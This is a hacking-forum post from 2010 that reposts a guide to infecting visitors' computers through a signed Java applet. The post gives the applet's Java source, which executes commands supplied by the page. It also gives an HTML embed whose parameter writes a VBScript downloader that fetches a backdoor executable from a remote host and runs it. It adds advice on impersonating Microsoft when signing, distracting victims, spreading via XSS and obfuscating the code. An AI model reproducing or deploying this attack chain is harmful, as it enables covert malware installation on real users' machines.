Dark Angel Forum Index
Dark Angel
Hacking and Reverse
 
Dark Angel Forum IndexFAQSearchRegisterLog in

:: Infection Guide Using Java/VbScript ::

 
Post new topic   Reply to topic    Dark Angel Forum Index -> Hacking -> Vx
Previous topic :: Next topic  
Author Message
4l3x
Administrateur
Administrateur

Offline

Joined: 04 Nov 2009
Posts: 96

PostPosted: Fri 8 Jan - 05:04 (2010)    Post subject: Infection Guide Using Java/VbScript Reply with quote

credits to minimalistic

guess this will stop people selling public information, not working on latest firefox

################################################## ######################
# IGUJV - Infection Guide Using Java/VbScript
################################################## ######################


Hi. This is a minimalistic guide on "how to infect anyone".
This is not a 0day. It's a pwning method wich is one click away
from the victim. It is pretty simple and the best of all
it takes no time at all. (And it is undetectable too if you do it right)

Author: AnalyseR
eMaiL: alienyser@gmail.com
Greetz to: DarkPaiN, Marianaki_Ki, Franko, Aragorn, __Potter__, Santa_Cruz

After a few attempts to think a way to infect specific (or any) computer systems,
i found that Java could be THE solution. I am not a Java Programmer/Developer or whatever
but this piece of code is pretty easy to be read by anyone who had a little programming
expirience. The question "how to infect someone" is the hardest one, when you are coding
your new backdoor/trojan or whatever malware. I mean... ok, you have your new backdoor
compiled. You've tested it and it works great. But how the hell can you spread it???
There are several methods, but nothing is invisible from the user's eye. And that's because
all the well known methods are... WELL KNOWN Smile

Ok, let me go with the subject and show you how it's done. I've developed the 80%
of this attack (at least) and i say 80 because the backdoor server i use isn't made by me,
and the vbscript is from a googled page. Anyway, the Java code has been written by me and
the "idea" is also my "product". So be gentle with this :PpPPp.

I won't explain the meaning of what does every single line of code here, because
i don't want to and because you must understand by your self how it works. Any other
explanation on the codes, will be useless if you can't read the source code by your self.
(I speak English by my self for example Razzp noone teached me how it's done. It just happens.)
(Little crappy but i hope you understand anywayz)

---------------------------------------------------------------------------------------------------------

What you need to play with this method
Code:

1) The official Java compiler (and the rest of Java developer tools) take a look at: How to set up your computer for doing Java
2) Basic HTML/Java/VBScripting knowledge
3) Java Runtimes
4) Web Browser
5) Hosting for the tests
6) A backdoor uploaded to your host
7) Mind
8) Coffee



The process

1) Create a java file with the following code inside and name it whatever you want (i faced problems with the THIRD parameter, cut it to the second one or just use it as it is. Works fine for me...).

import java.applet.*;
import java.awt.*;
import java.io.*;
public class skata extends Applet {
public void init() {
Process f;
String first = getParameter("first");
try{
f = Runtime.getRuntime().exec(first);

}
catch(IOException e){
e.printStackTrace();
}
Process s;
String second = getParameter("second");
try{
s = Runtime.getRuntime().exec(second);
}
catch(IOException e){
e.printStackTrace();
}
Process t;
String third = getParameter("third");
try{
t = Runtime.getRuntime().exec(third);
}
catch(IOException e){
e.printStackTrace();
}
}
}

2) Compile your java applet with the java developer tools and sign it too. A good name could be "Microsoft Corporation" or something.
3) Upload your signed/compiled applet to your host and your backdoor too.
4) Open notepad and paste the following html code. (change the YOUR-JAVA-APPLET-NAME with your own java filename)


<applet width='1' height='1' code='YOUR-JAVA-APPLET-NAME.class' archive='YOUR-JAVA-APPLET-NAME.jar'>

<param name='first' value='cmd.exe /c start cmd.exe'>

<param name='second' value='calc.exe'>

</applet>

5) Upload it as .htm to your host and browse it Smile You will see the Java Security warning. Click RUN.... BooM! Calculator and cmd spawned!
6) Have in mind that THIS warning comes out in EVERY java applet you are running. EITHER A JAVA GAME or a JAVA IRC CLIENT.
7) Change the .htm code in to something like the following (Take a look, it's a vbscript echoed from cmd.exe - this will download our backdoor).


<applet width='1' height='1' code='YOUR-JAVA-APPLET-NAME.class' archive='YOUR-JAVA-APPLET-NAME.jar'>
<param name='first' value='cmd.exe /c echo Const adTypeBinary = 1 > C:\windows\apsou.vbs & echo Const adSaveCreateOverWrite = 2 >> C:\windows\apsou.vbs & echo Dim BinaryStream >> C:\windows\apsou.vbs & echo Set BinaryStream = CreateObject("ADODB.Stream") >> C:\windows\apsou.vbs & echo BinaryStream.Type = adTypeBinary >> C:\windows\apsou.vbs & echo BinaryStream.Open >> C:\windows\apsou.vbs & echo BinaryStream.Write BinaryGetURL(Wscript.Arguments(0)) >> C:\windows\apsou.vbs & echo BinaryStream.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> C:\windows\apsou.vbs & echo Function BinaryGetURL(URL) >> C:\windows\apsou.vbs & echo Dim Http >> C:\windows\apsou.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> C:\windows\apsou.vbs & echo Http.Open "GET", URL, False >> C:\windows\apsou.vbs & echo Http.Send >> C:\windows\apsou.vbs & echo BinaryGetURL = Http.ResponseBody >> C:\windows\apsou.vbs & echo End Function >> C:\windows\apsou.vbs & echo Set shell = CreateObject("WScript.Shell") >> C:\windows\apsou.vbs & echo shell.Run "C:\windows\update.exe" >> C:\windows\apsou.vbs & start C:\windows\apsou.vbs http://hello.world.com/backdoor.exe C:\windows\update.exe'>
</applet>

8) Note that i use C:\Windows. If you want to infect win2k or vista you might want to change it to %windir% or whatever you want.
9) To see the vbscript code clearly, infect your self and open C:\windows\apsou.vbs Wink)) (you don't need to do it at all).
10) Change the backdoor URL on the above html code (http://hello.world.com/backdoor.exe) and the location you want to download it.
11) Fill the page with flash games, pictures, texts. This will keep the victim's mind away Wink
12) Save your new .htm and upload....
13) Now browse it and wait. Wait.. wait.. BOOM! Smile Backdoored.
14) You trust an irc client? Smile You can be pwned. Without to mention anything. Just by clicking run.
15) If you want some roots, you can change the above script to attack linux users only. (Or you can make 2 different versions)
16) Use it with XSS to infect a lot of people.
17) Use <SCRIPT SRC=""> to include the script, don't let the people see what's inside your page. Remember to change the permissions to.
18) Use multiple unescape functions for your code. This will keep away any suspicious users for a while.

CONCLUSION
It's big mistake to think that you are safe with your new antivirus or your brand new million-dollar anti-whatever system.
This is not any kind of exploitation. It's just social engineering-like attack. I see 10 of these warnings every day on the net.
Either i want to play a game and kill my time or whatever i want to do with a java applet. It's nothing strange or special than that.
But hello, there is a "hole" on this. You can execute LOCAL, anything you want FOR FUCK'S SAKE! Smile
I have a Proof of Concept page out there... it will execute calc.exe and cmd.exe on your computer.

Tested (and working) under Windows XP SP2-SP3, Full Updated, Java Runtimes 5-something...

Proof of concept:
Code:

http://analyser.overflow.gr/basta/analyser.htm


Back to top
Publicité






PostPosted: Fri 8 Jan - 05:04 (2010)    Post subject: Publicité

PublicitéSupprimer les publicités ?
Back to top
Display posts from previous:   
Post new topic   Reply to topic    Dark Angel Forum Index -> Hacking -> Vx All times are GMT + 1 Hour
Page 1 of 1

 
Jump to:  

Portal | Index | Administration Panel | Create own forum | Free support forum | Free forums directory | Report a violation | Conditions générales d'utilisation
HalloweenOclock © theme by larme d'ange 2006
Powered by phpBB © 2001, 2005 phpBB Group